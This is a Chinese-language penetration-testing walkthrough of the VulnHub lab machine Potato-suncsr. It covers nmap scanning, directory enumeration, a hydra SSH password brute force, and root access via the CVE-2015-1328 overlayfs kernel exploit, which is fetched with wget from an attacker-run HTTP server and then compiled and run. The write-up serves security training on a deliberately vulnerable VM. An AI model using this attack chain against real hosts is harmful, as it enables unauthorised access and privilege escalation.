Potato-suncsr靶机练习
声明
B 站UP主泷羽sec
笔记的只是方便各位师傅学习知识,以下网站只涉及学习内容,其他的都与本人无关,切莫逾越法律红线,否则后果自负。
✍🏻作者简介:致力于网络安全领域,目前作为一名学习者,很荣幸成为一名分享者,最终目标是成为一名开拓者,很有趣也十分有意义
🤵♂️ 个人主页: @One_Blanks
欢迎评论 💬点赞👍🏻 收藏 📂加关注+
- 关注公众号:泷羽Sec-Blanks
X
带你去体验最真实的渗透环境,文章里不会直接摆答案,会全面的带你去进行信息收集以及漏洞利用,会领着你一步一步踩下我踩过的坑,实战往往比这更绝望,练技术须实践。
靶机地址:https://www.vulnhub.com/entry/potato-suncsr-1,556/
一、主机发现+信息收集
主机发现
nmap -sn 192.168.25.0/24
或
arp-scan -l
靶机ip:192.168.25.163
设置环境变量
export ip=192.168.25.163
端口扫描
nmap --min-rate 10000 -p- $ip
PORT STATE SERVICE
80/tcp open http
7120/tcp open unknown
MAC Address: 00:0C:29:82:3B:39 (VMware)
服务信息收集
nmap -sS -sV -O -p80,7120 $ip
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.7 ((Ubuntu))
7120/tcp open ssh OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.13 (Ubuntu Linux; protocol 2.0)
MAC Address: 00:0C:29:82:3B:39 (VMware)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.9
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
脚本扫描
nmap --script=vuln -p80,7120 $ip
PORT STATE SERVICE
80/tcp open http
|_http-dombased-xss: Couldn't find any DOM based XSS.
|_http-stored-xss: Couldn't find any stored XSS vulnerabilities.
|_http-csrf: Couldn't find any CSRF vulnerabilities.
| http-slowloris-check:
| VULNERABLE:
| Slowloris DOS attack
| State: LIKELY VULNERABLE
| IDs: CVE:CVE-2007-6750
| Slowloris tries to keep many connections to the target web server open and hold
| them open as long as possible. It accomplishes this by opening connections to
| the target web server and sending a partial request. By doing so, it starves
| the http server's resources causing Denial Of Service.
|
| Disclosure date: 2009-09-17
| References:
| http://ha.ckers.org/slowloris/
|_ https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-6750
| http-enum:
|_ /info.php: Possible information file
7120/tcp open unknown
MAC Address: 00:0C:29:82:3B:39 (VMware)
二、开始渗透测试
访问80端口
静态图片页面,十分的CTF风格
potato
web指纹记录一下
源码查看也是没有什么收获,这里我们直接爆破一下目录
gobuster dir -u http://192.168.25.163/ -w /usr/share/dirbuster/wordlists/medium.txt
没扫到
dirb http://192.168.25.163/
---- Scanning URL: http://192.168.25.163/ ----
+ http://192.168.25.163/index.html (CODE:200|SIZE:654)
+ http://192.168.25.163/info.php (CODE:200|SIZE:87513)
+ http://192.168.25.163/server-status (CODE:403|SIZE:294)
http://192.168.25.163/info.php
我们得到了泄露的phpinfo文件,但其实还是没有什么突破点,现在就只剩下ssh的爆破了
7120端口爆破
hydra爆破ssh ,用户名直接就是potato了目前只有这一条信息
hydra -l potato -P /usr/share/wordlists/john.lst ssh://192.168.25.163:7120
这里我们得到了密码 letmein
三、获得初始权限
我们直接连接ssh 的 7120端口,这里我们用-p参数进行端口指定连接
ssh potato@192.168.25.163 -p 7120
四、提权
id
ip addr
uname -a
Linux ubuntu 3.13.0-24-generic #46-Ubuntu SMP Thu Apr 10 19:11:08 UTC 2014 x86_64 x86_64 x86_64 GNU/Linux
内核版本比较低 Linux ubuntu 3.13.0
我们直接去找EXP
searchsploit Linux ubuntu 3.13.0
找到很多我们这里下载第一个
searchsploit -m 37292
因为这个是本地提权的EXP,所以我们需要把这个EXP传到靶机上
攻击机开启服务器
python3 -m http.server 10000
然后到靶机上使用wget进行下载
靶机先到tmp目录中,其他目录没有权限
head -n 20 37292.c
看一下使用说明
# Exploit Title: ofs.c - overlayfs local root in ubuntu
# Date: 2015-06-15
# Exploit Author: rebel
# Version: Ubuntu 12.04, 14.04, 14.10, 15.04 (Kernels before 2015-06-15)
# Tested on: Ubuntu 12.04, 14.04, 14.10, 15.04
# CVE : CVE-2015-1328 (http://people.canonical.com/~ubuntu-security/cve/2015/CVE-2015-1328.html)
*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*
CVE-2015-1328 / ofs.c
overlayfs incorrect permission handling + FS_USERNS_MOUNT
user@ubuntu-server-1504:~$ uname -a
Linux ubuntu-server-1504 3.19.0-18-generic #18-Ubuntu SMP Tue May 19 18:31:35 UTC 2015 x86_64 x86_64 x86_64 GNU/Linux
user@ubuntu-server-1504:~$ gcc ofs.c -o ofs
user@ubuntu-server-1504:~$ id
uid=1000(user) gid=1000(user) groups=1000(user),24(cdrom),30(dip),46(plugdev)
user@ubuntu-server-1504:~$ ./ofs
spawning threads
使用gcc 37292.c -o 37292 进行编译
./37292进行执行
成功提权